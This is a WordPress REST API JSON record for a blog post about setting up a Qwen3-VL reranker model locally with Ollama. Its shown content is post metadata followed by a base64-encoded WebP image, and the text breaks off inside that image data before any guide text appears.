{"id":19154,"date":"2026-07-23T06:52:03","date_gmt":"2026-07-22T22:52:03","guid":{"rendered":"https:\/\/ygmb.com.my\/?p=19154"},"modified":"2026-07-23T06:52:03","modified_gmt":"2026-07-22T22:52:03","slug":"how-to-setup-qwen3-vl-reranker-8b-locally-via-ollama-2-dummy-proof-guide","status":"publish","type":"post","link":"https:\/\/ygmb.com.my\/?p=19154","title":{"rendered":"How to Setup Qwen3-VL-Reranker-8B Locally via Ollama 2 Dummy Proof Guide"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRtJHAABXRUJQVlA4IMZHAACwJgGdASr5AUQBPjEYiUOiIaEkJxJqgIAGCU3bH2ImY9OdfzMzXny6KS\/1XXax770\/Z\/mN\/d\/e9437mPd34n9kf4T9uvvK\/gf9Xxg+E\/4nmz9F\/7\/85P9d8uP9d\/2\/9J7qvz1\/uP7n++H0Cfq3\/rP87+RXxe\/sn74P8P\/uv+1+1XwL\/o\/+D\/7f+R\/f\/\/4fVb\/zv2h94n+V\/dj\/R\/AN\/av7P\/7vby9U\/0Cv3C\/+3tAf9f9x\/+d8r39T\/3n7jfAr\/Of8p\/8v9t\/xfgA\/+vtf\/wD\/zcN9\/c\/Xb5s\/ivyQ\/t\/TreyX9q+e6umyR\/mX3L\/H\/37j94Bf4x\/Ov77\/Yv2U\/wn72dDTOJ6inu19Z\/x393\/dX+p\/I1QByAv1n\/z3Kl+o+wN\/Qf7R\/0\/7v7HP+5\/n\/8t+9Hvj+q\/+l\/pvgU\/mH9Y\/2v9\/\/Kb51faB+4ntJ\/ukHqiyDbMaYrb0O28+ELQiYV4lppCUhtjWg3eFtX\/uJiYKz58hpC+XT9H\/BndTmhW4225wp96k3v+6zl3PSu0Imm90TSAzj1iwhr+2B4AOQB6s4A3hNLZ+opu057\/kBAWqzJP+mtiz\/zfLAeu237AmT0Oo5lit0ItzmJIOGktAF49D3qE6llRa4A8HEaxd4U1HBY3DW0tBNlLN3jzEIR4VrpGLmB0ic4+IhWxN2BXVtl\/2pdR5WSo8rk9M5pWoNjA6PwMB1EC2AvQddPcz7koPw6eoQ5SMClzxbOsAp1fophTTOWCQLyh0GwX3cUaFHyHk5jZqFYuAyovpxJbGDDhNKy6mrIey0yi40HVRPIpFMZsBbmRrfSvx0qZlO4KHpl4kYz7BuW+LCdUtUKjUG5cjbp0NMBGyy6A19LO8f5qHpItDLoc7YTMSsJGVq+ZEYAnpDbbitngZo5yTceRmuJVOS01fvpdrxR\/WK7iMkemvswqIbh11M0W7pwMGVVF3WSvEoVVlxupdYS8tAmbK+UfBKs\/eUHzQA7SuhjfF0oyxmRnObSgsmB66kXd9XtUq7\/KpiH6jNLnfCH+nc2V4OHGfsDwN6v0iPE6tVfC1AifWNv8DpauWCub3sKWes3\/eCXwoz+aHTZVKkY9Dg55jRS0oWfgvM1dhtnfNzCWA+g5T4u5O+V9gLa5d7hIM5I7WaltOwZsJedTC0JYANvBC5\/OljQ0KpUr4m1pnieEIMFKncFCKiQ0xev+9nmdJjGprLSB3JdH9Rxh6K6V8oh\/4Q7KRN0qOTd\/I3sxyaDIHTqM9VJSr\/Rt6If04v3KIqmQRoxrKwQw7u\/yLaih9Wz0BrVuK\/JrPLfXhrdlaqYyrcXtYLJsdNMj9HdLTbkF0j4eRhyG13LauhYVZrQ\/+\/slqSIcEpG7HhrcKDF4gczxIKSO63hIUDXubGRk\/UZ1ar8AHuYAH7FQYOfFG0+LFv1+3aIvZlr38sHlk2+L+J0+XaRXHPMdYj0Hpe5uYLejPUp22qNxUey2j9GO8+KWtSrPtop+Hb2EC4e1uViDZoqPK1sKKhllJ8EB3g29Ucd5pfpxYq4N+ueRO02Ktf\/tso\/98gqKH2cnnUmGF+gbl2rUifo9QNZtsJm0wJFg3lyPEA+3ZOFv0vRCgmyLX7SVTUdVo5rUKmu9nn1qjkrBZD6DJujVarAo+uzlHLufBrNh6Nt1Tw4w3D5M2gdKDooI8MtU3dWMmhWMVt9GJBDN324ws4CPeDyuKoc3Iy+bBZVQB9BmhcJ9bwRDDxmxTB\/0g\/C9EaCtz7gzSIJFJH0IXjEWXwCzTQmAbkNNUHeI2pHrld7tbYCI4mAFk+OO15dvAlLzy1DDBbenj92wC5i0pgTWz9zeJUv1SmgcdEm+f6HIa922TD6ltn+yHrybd02GIcai0dehf+swzVZcWqQBtjN7inp33+Yw8ZypRz1v7tqZish3cP89RSiSpj8fHDpsgDy2AW9I\/EA2lBbVOh6r4cGIcK9zo36S9flN0dYupQ6NGTAPJBjsE4edI+vtFBSO48S+jyujdBd1DXJZQPyGyTWaTbJsH8ZZBjsiOU\/ZDags5OZDMeeJ4813RIbQ8E4wnKBT43flcuwfiHUuhDLIH+c6\/fYv1CsVVhDFCJsYKKEoA5hXARBrRQimDsOOIDiiQQGPOINrDz1dB0\/RA0S3DYgb\/gIp8wNCAEkoqYS0sP2PC9tNjc6yzDgna3Paqowki826EcfBwZvv0elxn4QPvahVtBZlN9P8vPcFlT42lqPScNI6mNj435pb8ZV2Y3zbVWB\/TnhHJHUPjHeDcLMPZDXrcz69Jkw0icHZR2RmD1owqzR6IVYKOif1vYCrVydPEydc7J8LLRIAS1S2dNL+zNoB6\/hAIzOg8wpnNq1lVqSMbXK6pOJXEMReVjWvQ9A1CWfRZ6mHQ2CjK\/Ld85LM0Qgkr4tw3DXC+kp8ejXGOcu4AlOHJbLw98KBS42p8YsrnbFOLUUOk4HRuQtGljaEI5VCAjhUjIFiiab4f6u03f\/jLM\/rMpU8mq30W2vX8r2Hw+3ON7msFvKA5HG\/fnK7dmcQsCWqRvfYHz\/+UyOB2meQoLA1VGYxI54v\/GE3+OAd0\/1EaCEtiy9YHNgXe\/t72OKql95F\/lZDT3ElJ7llOrKRWTpcKMSgXd\/g9HiOrUsJwOFNs9LpsmcPvX1ftgInYBjn6lcBIqHdaFxuIX6ODVulDS02duCwZObUWciPLpb9knBfdDlv0PSeS2nSy3UoH8XKkzgY1+j0YO4gWzPlxOumUj+zJXwKCi9UQ8dYk7CG\/dSBMrVL6kFjD2\/316FcvnhHqwWJwChJcaVtc7hzat\/L8irnISQ4lVBXN9xWoCe79f\/RH7bWiZLw7NTL\/EmsPhe9p75AYtJZAwHTE+cvYgP9j\/V\/5ZNf\/YKYLUeq0zn89nvUeaM4ojJ\/tnDMp4GUTwMSTC6+qcepKjIBEX84hgTL904Z4rLJi2JuKjBoINBnifBKPEVi0v\/uv54VKJpShZ+p1IKhEry1zVkkwd\/hCQ7LuLqYbWjADn8AxkbJX\/UGu4dtLoTZPHDsvA0uVVuHVwgyNZ1FXkhE2UHWAupmOmekZI0PxX1OJ2bbHfifOibmBHt\/QSwSy3jRyhkYCK2mV7rqt1\/e2P2rQMtLeibAR6mP+5KTdhos9pcsH3VbfW7Lz5Dg2dtNDoAD+\/vCGNvhx\/6LsTVM+KOohtXRFUpysvyqf6lr\/JMctQbjP9kd7CxDDnV1QaqdPkvsxmkFbZNpsPJF58sEF+sCuAYlqhtj1OYgFuue6oAzlD4ZZdZoNdX\/WcQs65xZ4tL8LytHt8FFcPIFhqjeb0RZwcYAba4dsTUNMajFDoge7PQEEU1LlVf7ztFCOJ+zrlvXX\/JsTvEKvd+biFvGxk3quql84Kqmht+pe7LLilUFgvN1YPGOQjhIPK5ls6Qd4cUbryCdl39XH14RgrburIoWWZ+1UjscrLjPCA1RcS\/stHK7vhCppYWWimN1KB1bg+fqqnu\/aH3NDxI8NdwlUE1MBU2mFqgLa5PHCmVunHiGOzcrD79re0YrR4yXH5py6D4cgw6dV78aN5UzlPgbT1rn5KanQSsGoxvQAeahGXj9g0EUgCbrlTF3o\/8l++3o6dmameDQzv1P4kEdCR8KJ8m9+DB8E3WP+P11MrgLumqL7Nu\/vkhYrIr0b+oRG6xfR\/DjgjRiwz\/48dPIv0W76yr4VXJZYjFs2xEqm1Wjp4h6GMALKintta8flVO6F6EkCbRIA9qwU5UepdxS3IWfc74nQwuQZ9\/1bM4NvLa6rkNnOG0cBNi\/FBJwuqV62HZmpWcmiaDHgSTOgUYEbqEUzlXe+3Z9OCDDvnbtGwDrQYpTjTtzW\/JEZ41hk7jfyURPymnddsO2X+X+yddf\/vym+IR7I1GviBkf3bE4LyAXmF27Nz+MaOfG6srWyokNLK7rbCR6kYW4v8k5akN4m4srntooIfPZ8SaKynLd6zgO+VYrajgzL7WzG10dH6ehaCrsiCltu3rXSnXS45tHCGlSy\/jGDeUiECNQQMCIfKKhv7VvPx15VIROxGnbYiFhJ+vq9s0RmoeAt6W1s7ipsnU6s8\/akoHpwZK\/hdP\/emBZvQzNBL3ZwL56QDmo\/aBet3EtPyM2A9PrIUayOIVAK5i9f2+c4NZ3JaIB1OXkhvinReBEcmENByJnc5WF3+VvD8sIFkPPbTbYOgwXi684hXi5I9RWT\/gJ2P889gQzFXfiVdRcwa9Kz09xCFAugINBmO3orR9voLgijY1e2fOwZijQs1XKfsF3mdF8uYDD2AaIuSbrkAePpu0rRFYNFOR7i1\/EQU70\/9fgDWhKjo97WyEPlTUHZYo9+otDTuBPjLdPgcvLTdoH4wiE9AVoNLHTmL7uHOkd2po7hlkBd+cY5VzvNKfgCsMMjcAh7+To1ScQizw8EKphLVmEkiypqlHPOCTY+sbuAxKgKv5C\/C1gtvzSgbB5G2oRs9nU62jeAlyBAOROowtOcQpuMza7JL5IQwF3ES8SgQyxyz0lpzeuuwFFGJGUftCSMmoMPZ555SFX2l+9Z5esecjenG25L4vF\/lp90ULvej4qaBykOjdf4BiE6BDs6jIvRrahsfoLgewEbHbBpRrZGPS8zCGZZwm8c+dSHrvwkzZhJKQcTqxMt3P5A5xhdGeJDxw4VUT5Ei30vKmDWnYvYBFxz\/m8B\/lSUZ7hIkQsJTXlbmBN8ruiMwGNu5kyfyWd5fUuCNwKWqBNDf1AN3+cgbrPD5J5b8ief1ulZ70KvXD3hBC1ZgpjxUSkIPcD5JeiGhkA42JLcoCKMl77z+ppS4HW0qTtunYxdcYLu8JdLcm7YTKFtSht8GnToEhIexSahOCjjX5UraqebmtruQhCInEN1NQ+tOMbjcLjvAWDoRMhfAP1wgZUkMxY720xSFonzSzPftkfCGBGpJ8BAwjSzSWLJlvBbS2F79xSl7\/48T3+I5y3XqmQ3XePQNnrWxhGpebiH\/tDm+NLZwivKK+yc8UyE4\/PBybeT5NFodV18y2EHQuI9gzdJ4QKAqaSPkfSg1Ge3cLpESw06pu30noRCQTdRXK7t6a+s5fL6c9\/wmkF91qlZqa5vtMe0IfwH+cvpP+zMriNFYfF\/km\/0w\/S2X5viCQjKT960CD8j8Z\/U6p\/ItKu96EFktH2+5pfPyU9d5hopFVpOYGNjr0agxLcuFeQp46HCkfMmx3OiiQnLz249WEICWwTOyH5sCiYnXWYcomfQGbbdLuhpltmH1hW7qsUOBXsWNWUX4YNPuU5Di2zhCFRHAjKhQjhlh1J1d\/b6pTvxNcPe07j092FW\/fU2c4c+rdzq7MUQQQ\/H3J2gLz6PzvRNXiyzu8Crhsmd1CDfzMmh58tl7ObMGjRhTJKJJhy4qbSFT81QnHZ3LggyqyjCJKOGW1ks5aRqVk5995udGH74hoTEXU50+Q71jcg\/PSEKF43Zdf4SRsmXDUKLPttXVgo9dOqxU2UhivEHtZysi72oGuylB2Wr4W7R8f5eBFs5h\/zI7TBcTOw8RM+udIwLr4eSk7piy+wO6fcLBKV\/P+aOPmhjnYriZkL69oYJSVPU\/I8nsE39zeg+ncCP8613EwjqLs+xbfrb3KCL7lwfwcga11FK6BEG4ONbJ78CFHTPsxKGBl33Rg22N8fvRafujRm+r12xEHDszGd2LGjDEs7ZaTuwM8Iwa3F3L1XS5Wg\/EMS40MWbAvpHBpVvubdWrt6jm\/ihCD6K1MlD5AqMzPuPiJ2ZN1DMPCQ8La8mZIAmijDG0kpi3v\/DF4xbvgT0BeX+n51bSQ+mzapcT9qTlWzE8Xt1OKsSz0kVeflTZJZLqW7SVBB1BZk4DldN6F+zefR1ByKYXZQau\/K72fSRNzUy\/8GlaKu22V86Rniu1klR\/S9Ogx7TUw+hGsnturXf4xTuSzwCQfHiZRYNDsUkfOXAK02j35OiF27hQcGkj8gipfMXvDLNePQ\/0SahZJNBQCWDe7Ehcn0hDraxM9MyU3auOIWt9KB6KfDM1TKmHEjNbd470LVuBOvcmhTQRKT4nGH5jVEiHa\/t\/qTzsfiWVNPZM\/SZsTgnDwXZS9Gq2Jh+lnQuzNw4y\/gR4fDWkHoTsl+91EwUdSMeU1rbh6DrSHvXpTzukSUmL2Z+HDX5ibWGN18\/jYzLTnS2Jt6kryA+6xvaonk7OwILtqaEOU++yMziavDNnWwm1F746+h6SrrBzMuaDO\/WTDu\/H6O5D20IfC1JCMLOTtW7BSTpaUUwJOe4MywDnqFOYFVVRvvU1rj6RrLaxD57FjgxJSvCD3al8TNf3pNzpHKMAjA0fkR7qWbOW1\/GDbUtAd9upgtUCnTsAcHb3Yurwni3ssOZwfBxdk9m\/5HDXGmKOJ\/HJGNeqBPK4Ia3Ctk0qqWJ\/39AfTMuTX2vj6f+Op5iqWn82z\/q4svah5WIKn1XYtD4Kf+5WgvDE+WgBBaJItj0qZfueC4iswvI\/e29Dtoqf+sLTxp6Tzt+Qh7S28n5MmegkkYYs69ASxlcpGcEGZ4f5+q5yt4IldufnbomXzRxTl6xCIeVlF\/IJ0ATO+vcUkunt96JrGxHTjTRMc4s47gZkoeiiJnEQfz75hy2AvtE+MUu6SsWGn5lcIBiIFQ1DqXDsj5Niiy4LschwThK5R0SMRHvQfsmQ97jdihn7+QjMLQmlv\/nuBAC9\/z0Ay3tbCE+FxA9iiXybWWFwBhTRkrInzNF5v3L92UPzGG5V+vy\/X3tGrj\/iSWWQEcy4Rod2UtlCop1s4YrrzMDUnbr1IDTmkPw34Rs0Xtf\/bpWeet0ZiSC8nLY3ssNWcF0CoCob7umSd2tGZpGWg5N0T1UAPYORaqbkzmsRa4lM3SxUS2Na3mUMQh7G29GLUmhlCrVqzL5HmQgCo7Qi5z1Si5n16x5uwV6vgoXEcYALnkp6sKQ5sWW9N9PR\/vLSY4GXW7ZaK1GPXx\/DZoz8GLk6jPG5avQRgDyryCrX0Vt7+wivGGOgPeEc9VBQetZW+c7D4l2NNIBBrnxsJuxk0VKd9xPf+7z+f1AVNQXSRLGmtaIVQzCmd7h5Pf4PR5UTC+KQjLfZFkHxdD\/nXXN9on2NufVNQwa1AOmImGk6l7Hsk8c+pn+xZQBRX65CguEXPgJQoLg1ghXXDK+FrKD\/4NbDcq35VPp+X4bsf9k2LP0\/B3\/EktlI9+iMoqf8CR1z9zL3jzaKZSL01j5UbYv+gELRkQ9NvnwCUIF90krALMHuCpmzM9o3Baqgen4jtrvfd4KYGYXMyUuJnNK3UcsiRJ8\/b\/gUtzznVlVo3l7CadNKeR21HwyudouzAHbmFvHuz0uPgORcDQ5xrGfk0Msr7OcrNPK0JuT5QtsJaF9eSu7j4sV+CKnv8Vu9VqNfYCAd1RknH8TH5wy8VpyPDyamTT6bdSuBly0Hlzg128qEDPtHbPFKVL\/EdwoBF6vT2H87h2Ci3KnVtNd933rJVYM3QKAHPyeaC2fTstLMhPdKVU\/6JVkLzmwzpeNhHJlg9MsrAD9uYXnc2Ar8pAcQVfggSfxwftOjUMJNvcAu4TYKG+zO6opHnhZEFN502QMOwuJOFWBBtPtJsSMnyMpe\/pk7SJtSBOgXxKjhBH5F4TueIknAmg42RzbbDiksyEX\/BK+Ekf3NANFx467L46hIJpqnJDvQDnjnwlWDs8qPjuCVJm5wCRjJPhLCuvxkncHQ227T8nLVBMniY9aDCf7YkhVV22AjC6ACOvgy80IrO9LGRGOGE99jxwH3XSUl4Xx41GZyUZUazz4+oYFgQgzyDxceVAndvIGPuDaa7hy1iJaQ5h\/x\/PAW7VinewYHjhpZe+LeStGump\/CjLcSvFIDT9MofjxqD3VCHgkubC8JrdVe1GymCOeGDALiYqXlx6b\/SyhuqGLMuZktJHiq4r17nQ0q1dVNdg2o8QK52LKPN0OGwHiwtW4VyeQ+ALQYWXOHhP8A3F7ayptrFSffU6DN5AYTec\/1FMOm92+JCFRGvrLFPPanFEpNgSwRQGTxVqEMH22pDc6mt5XqU5flQJoDEhqt0f3Kj9MCf8WBRst2LSjZdQlIDHnHy70pdzpV\/\/UW2i\/Hp0IRHCKN6m\/EZrunmtXN+bChCJi7VFObvBzy46n11SF8xOsIYuXzpbWQRZE\/Avmk4FfLVw9imAgXMW1MeAUSUbfYdHmw9WRY3sNGtFv9JGd63oKYP93fGE1UshzaFwsqMjwXyyo6rRcAU9yws142pDwklw6ST8gKrZZQoS9tkXJqgVKcgfP0A9tVnPt10MC70sySgEPvWQ+uXnFp\/7AP1sqodtVBvKJQGPqze5ju130zf6JepuxQhhpz6V5\/0Qa0\/tLQLHZIAxkvV7stWDptkoNyXVRg1USH09IhhsggN0p9QCu5J9N43KiqZvBFYN24PGcON1sQGjNXO36RU9vrlae+jr7vCre6xRzgUKBZf\/amvWzQENsJ6vFF3HKOwx05U8ErEaBKO30HgKPEtSTt\/elPXhSu0Qru2fc\/aVmgnmsY85Mkln3lgf48MsD8PW9Ik\/+\/ixcyBqCiEGPya8P1+2HQmsxCiFaVgcIlTbD4\/w\/rCBbhITl6PpKyO1yvKIgutgzGNWgr0w4TCSlNtEskzYd94gEJp19ejiz8AEGb1re0DR3\/bGYIhqdGj7fQxOUdfWvcUQGV6JTszkoiQklZzFGrtbKTugBUH5\/gqOEUEZ+lRTYEvAJ7hmI6BISeWZAQbI6pPnBayOru6iZlcaPX0j9vU5Yh+RXDXKMtLzGXgAYjyorHrL0T\/+sZU7T2u+Qk7O\/Q2CGz\/gNu5jcnyyOAcMtp2XSCF5ynsXmNLI0xH2dT8Q6AXOZoWr8yejT4vAyRD\/VSsxHhtp2pwGHi4LTAanwqEFHogT+uffzkcDNr6DtiBms4OejK4ppxhVlGcdubBIIPWBxO\/NxMo+XbtU4Hyy6keJpPa5blB3bNcB9ukJ\/DNw5hvbWeH8\/iXcFB3wrwbl7\/a4EFZ6Mq50YDqXvZqkqPIejAjXGHE4YZfsxvfDF\/n\/bSnd+ZHF+nq9cbAjqAuQqsG4O\/HTf921m\/iGtiD2Hlq5cOu93uKqvx4DziiKAuvMO2PmuIDWNNBraKlC6hMGlxC2zxGtU+AaZGBB2R8jrmrsy6aA5RTX9UYvQMJNxbjA1iaTINoU062r4dxIf7BukKadoD6\/H7pGMp0Fyy+yZNbbF5CJjEk02IlkaScfZT1gzmGEMlYcRSqHIiCh79xM4V3o6V7VrVGjbpnT3NofRM2eUNbS5rthajWJ2BPPvUA1gMOJ0TzKUN0MrTi1BDpMgSkwQZdp5qrMUfkJ2sRnwLhU0vPykWpZHtwgonpU6jIdtt0qss1Mi7Mwg9P\/JGC+AopCwzaOtBOTakx4FmxfDupT+QMtvTvrF6BFGefzOBU2LqBwKF5KSM2o8Czy1iTUniMtx5HZgH7fdulkB4uSOBNDnmQjBQpj8WTMrNGDuuquJS1FI8woFM9iYcZlmXvJ1nqjWia36NsJwHpAmDiL6qITOI1zeoHL\/0lzLM4SqlRhBn563m7xmPL8BHB29ZcRNsGpN4dzYzGbEdxgvxJoqgiJ7BFnqp7mj\/FHcljRYhxTatvcDFVSl8lxigkTcnmm52xkuIkQS7z5nfjHSXkPU0mo9PP2Lu4TTBOSnGO52xoU\/\/+F7F7luaerXNq2Y9mOb66Q1wCbKmjb0DrYxLtR3689OsJoXiAS2UJPRhcD1Zl8bkQ\/j8FbOcv628xrJVVJ\/lztzWay3zZRl1wUB6El1REwgGym9H+S+e39LZC3FLfnhpBnYiRAbuD6ihq1Vk0qnQjbJKb6UVOk+C0e0JlINOLbh5fHLy\/NCMoAuH5MA+sx6\/I8\/I1arip4qt7H45PCI5l6KM\/xLdzBNnOasKUMu56Q7\/7chsLKNS3iI9dmOP5BFc1ro5opcffvpvCoDTfhlKqnAkJHIDgxV8cMLUL3GNKmfBwwOvfODIdu4iYlCKsVMsGQEAFPt3Bq5yJ7g1xvoxMziAKTILv2Im0I9b4Kvd5XyGge0aAJBvhogfQGVJEdM8SS08t3XFf12LVzkE+KcemowO5MrHF+NVn9OTcrvsRWfIobGDIzrkNCValDhzy0neIVAZd\/akmTGRwO\/v8+WonJOhWi6vsoAyMUls5kI2A8bACADbIGnxMqSG2KWzmY3HlCuRvA0XcdP+qnGSLPi0Tw8S2UTAlRzofP6Re8vP8tfDwkUPNvEZi6QUTNmQZV\/Szot79m2AB6mURGQtS4fOtTpM9ZaHwJyTallAT\/2uaqcZQNRdQ5i6vd0DCIAobjdP8NMYmoPVulBvEywvTU5s4RlY180wm9sBEKqRPZNcVfZ70ySJGXSDFWz4mt50bVzcG2\/JMrGEsuGJuo4mYG1lqpsPQbHq9puS5pFfTEsjOtFOD\/KY1FdiFGuiYI7QYxa2O\/qyNpti+KrG0M0KEsv5q7HjOUK1UMB+iWzMixBLIBKIXRLMcwflOmnWP3hlAifV71ZanO90DIsfRVv68D7jJGR9U9XyN9kBfL7ocKrF8KCOSoUAVFhS6Y9rqbdRepEAj9QQ22qxchnNNwFuylRnL0v2U0V7GojX\/0l7mjTHRHTNnACTHCh2gufNgPINuvio0+GpHBTDd68vd3yI9CVlm4bmCJfZV1ATD0X62vdX\/bJV9exbcO0FV15ipqOnfTy2GenF2YO\/Tvv\/1nANiqmYSSlzSZbzojRf9sKNdBLD5mMSM1S7oKlgxZYP5U9XSGX0SRp24XUxGngLFEwA9X+BiT2BadKiDMBnDunbghqG1ytFOBSRFiTcDI+i5McQiE+NtzrjM5lPzJa0S5nqHNLFDV1EDFmzV8vqeKT4vAAjy3gNqchMw7PHJFy3DwRsoNswqP7Uacs7cQSSkimye+ZyUXAF7vjrf4Jwv5mftU2Pwtwcqx7jSYGaEbqDUapKGq\/2KZbYduPf87GyISgoXtRyGHpPJxB+QesDgZZiNTunG6H+fkKwbvGuDPjXiwJ3jauAEmYyuTdaduRtZd7nlU8YBvMA+NPrU1evLHdQnHb424\/jSzDURPIL9pwWbx4BZCp+1Xdd\/q0uouPV3c60V9jk70tCs0BF1jyDMQB7tu2Nq2vpyoVMXm7WA\/qx3K2f1FpBp0UUv5v3dIJTQNTa7ktfhPLwguTWyZxIw1j4sofFmtdMp9S+2LLbF0I0IEBRtxhUUuykOgh0mTwcQhsqE33V8W4u8vEoIVHOezNQ9koZZ1PH\/eiEy3zEtfBOj5EU9Ck5jE525PO+tfQJ0WOEMSGssEfOLerHFXVwHkMU1VpX5iu0CFmUSbyKef3EwU3qBP\/2hrjNBBNJ4xp68MNJNOQpQkSAKu8lK114mSZRsBhIdhC4UtnuK52dYSkzmmdBL\/jPGQCxreQMOXEJZRoRGG47srnGrPlihWKyVVAn\/TZmv\/wvY8fcGkRXWdeOQymrp6IhLKZdF2gD2SjpjjeDD9h8\/TpeWHgeZhFK6OUFmZ5liXtqYJh6eljDUWkvYCi8ZaenLWv0nrQ1sI8BIw8JP2oR1Yg4Rq3GcCwuJ7DVkki2FEvUBOIi6wGQzk27FRjbex4bEwlJX1j5cfok6640cGFa+lFOJgNBV1X6WQxuMUdhra8tLrdGbMWHm3\/6t8q0BbAD+5K0IBUUxk2PHotgxplfBRyp15CbGH3pHSxgbUvVBOPqWwbIOAmMJtXFF8SrXi\/4CEF2alotfdSBJ+R9ZudalTC6qNMS81IC7Uwxvl4jzcvx4QAyOioE4CmJzyR104nzyWyGqZo8YVYAJq4aXOXcau28VzY8OHF4HWGI3fXriIDePfBvIYNJQ5zEK07d1ipNKhL+rUnlMjbQCA+MX7cUZyihDwq7p10OSrewl9oELkXMBOnspB5zwVchL\/dlX9KdJ832funoASxtl6TDm9R53FZxyVLDyq1VF7A0P2DgpE+A2D7P8D+ylA7FXgXHNnnIitC2sbuZDFPUO1F\/AsOg44SEPEmt3xLg1MUJTfdSK5f5mydZ41shIaqwYvzxjwoMDDzvPKfMXLPcq0y2F1VsDyOyTZqLwytHVOOH0xuQtSdeNOuoxkK2wqRD24oUBpKQa43o3SS5THSuPr+1H5lBr6EjunRLF30mazFakz0IBuOPLJOn3tdav15rWknI5cCuA+44u1NDGM2cV8nCfuDS12z+AGvexP4V5pxHnBnNpW6lE4XRxDre7tLhFyd8jBPxluk07ABMukhIcM+bzboSk6Mzh9BjuMJWD1dvzaU5Dm+R3Fw\/8yqrF2CEsKEBYKFjaLzRiRKaqeBs8ayKlx4\/VAKzmrI4eADxt8vMbsrTIQbksBmv98KdnMVIzUYXdJhX6+JRChc88X3XqusfMLGxB5ZCTY4PzOHdojB9F9Z0goW+k9tGxgTjVB16qpLRDg3noFVcBVVIQTHj9DtKhJNabw3BvUmo7vc+NIAalcGZBw3wI+CIwhuIsDfvgcaTO6fs7M0kTRkCuqExjmAd9wQ7hjGA4BfTSy7ZwJAEWpH3IKbNhH8ngBtv9T2MnfU3BA55AXB\/h8pD3v5Fv+XxL3I9xUKyQ54j11LLXo85FWoUeVdN1IggUmideKxxE5ZgnLUCpMo\/ZmBehB12\/3sS3Fm9LKKZui7xuJntza8izsS6XFIz1WgZa5wmPNT4\/Kz4otUJjSpbF0GuxH7iSikOYlkY+jnGxkn\/fzOkkUieJxguySeDi2Rh\/FdiVg7U5rkD8KXyzXVbUTskAjJqarjdeElBvsmWEgjcDliSV\/nDFhEMYHnK2ZES7Xt4Tqe9x0izgbLeFEj9P6032XQNVXR0e9luV7\/jtr+FW\/VZnzP\/\/2mvgQeF1zykaJqueNF\/FXwNITns\/oPaXhLuC7kVcL6B\/FQOQupXtQ0n8C6hAKSeLT0fB57T66sRdMJ+4SlJNzSRe+Av6reu4oSRKsaEjtnvmz6fUT4mvNo7uUcof5EHtX6F4qRD1Vm8utIvAkpBW3XRMBcrWQ5WhDab2y9Ah9CcyDRVOPmcILVtlMCvr7hgAU\/8sVn1hf6H9GLG5cimRHRB9xHMSVys1CwMOpwYoICgNbQ\/W\/0AMqigCvL0pGxNvcxdEVtI+JzNUQbnrBZVh4RiZbLjIHMcB9VPdj4Z9LyDmO2LpDH4yQhhNmJXdcTt2I9Z+2Gt8AXeZVq5O8pVnwRTvoQhyCrvcBb0R0DjIM53ZhI2UI3pfgVo6wTesyot\/N62wNnzr\/ZYkoKY78YFNLU7AREoIdBlHkbEfOs0A41s3lo10mdxbXqMpAxAaRp+YTOMlDPBY05cbGl4kI66YJ\/Ii3pQwjd9oQ6LVrfYRAsvhSwDeURU\/JeyufGXQ9swfjRDsLzMxYAK6hSdYK7z2rYr95Ne2\/adYCM5NY0zyss0kQtHEi1MN0ECr7\/FgN5j6kPmIzeZrnXxhNt4eK0J\/jMun7vilQul9hubk53fR5SvpEcxTu\/YX7YeESaf1T8Ge2NwZCwONoIfkO6QJXRUtKpxGpxuk\/0XZ6Q8J4effLC\/T4lrNl6HvHhYaRcfsLMpq3FR5DsdnNz6z23zk8eDRpyDn5uFOdF21XiXjR9u4GHpainili8nDitlAIycrcWLZhDKavxKXZbh\/C6f3NGYEtTnStKdCGS2ifW4mLoiuYm6SjvLwVva4tTKA7VhoyyLJrTSqHUSOIrQgHpWyKT+Eq0TSEDHMGdp54L3Lc4AwXkX4wJJC1iYkJuebId1Vop1+8krWpW31muHXvcwES6hzzswtrmU0TRcew4YwMIgV55wNX\/TvgeWkIAbmaUmo0Y28uVlWWxL1LxaRRKfNRoFa390Ojr+acYs6NK3BIc\/0B1YUrvtRUkej0XLAE7mzEao50F\/5drDvn8YdKg5kVhkblw71n2u5UNAQ4E5mu\/Hvr+z6\/23vY3LHSZq3SmkK+I0edGSNaXsnGXRuQ+etEkew7HdzVVJ2Vtfw8ONQIbFnhRED070AeHQnTSOWczTgW9s3e7sURbXDFLRRkg\/X9lrOm\/L941TTGTGRlLrZKsATaGZH6oRJkXiQ\/CleTsvkLyfDnze3MS6L+g3N7WZBNdsRiDmVE\/T\/OOBWwu1nii6oMNWg\/91eYAKyEpFwmU5WF22SvgA81f+cDV0IR1bhrNamaWImjB\/mTyl81ADspN6fpeOb2mjq62lIcRoS2G9QaDcWpX76ZwLpZidzF+GsGjlC9FZ4nZtQiO8YlnWbMSUX4XKxuhcigdyNTHq3XwyiC6xpLTJu0sXmc8jllVovANCj7xIA4gySciCylYzbNf9LWP0zgbtBRFRD62e57i46bs+GaOu+b\/kgZVfxAEEI0Z4vqFyfNs63xiyyO71krmq2VqqQOnRly35VF3rNcHbtnFuaAf2m\/aL3jRchNQwacR6i+hlVSPvxd\/9bT7Nl\/r100ZXDY5R+2suXEpUZXb9BQyUUAJOgAm2a9j4lQE+e0uJJnlu2N6egaNHOm8+IU+xO5Hv0q2ZwHSgCVbYCx2tFJDgF21H6OXQIcT1DDEZYReykzFzylALs8X10FwpsBM+SsZonKUVYtImyE7tlGQAAegahNdW5+Hwx7jBPn1R\/WNZP58GnP28eF4vXCG8Cyb4A2rx4x1N\/YuTKjwt7Hk1\/2fdlzsftFWccjkHEXZBzuz2cMNqj9zg2P9xXVOtX+e\/IZgl1KSebxxfMPn6BB2+b7eKjDp\/5zEhhtN\/celBw8elT3r72LCL\/k0OTDv3RkHRc1rx88VHDoY1k4lEZjICvKxxnXQZ8EfXIvm1dIEK8isdca40YTid1JBdxeRrM0wa0xVR7dcv+z2zoKXqFaCv8fChQvG63Xfp\/\/3JSXK22X7d08UqY+ryoVctrIk90qW5T8IgyA165dR+x42t3u5RdxnzZBCXoXUTA4omQTmf7YbbFM7v19lgusFk7ePEEJM1bSwLH18dh90zxJ5m1BpmGDsaeJ\/1j6zznavQXX4Bg9Nq677mrAjNXpJLTpNpvd83HzmNsO1C69VtDWqFwwOK1jXcTb1+n0MT8rP4W9aQKRZyTGa4D1Dr+0WlrUmd13DPwWdMWnVheHl6T5sYUZruMNxRh9pTQDEYt6\/s03oXpZ\/ZTgJt+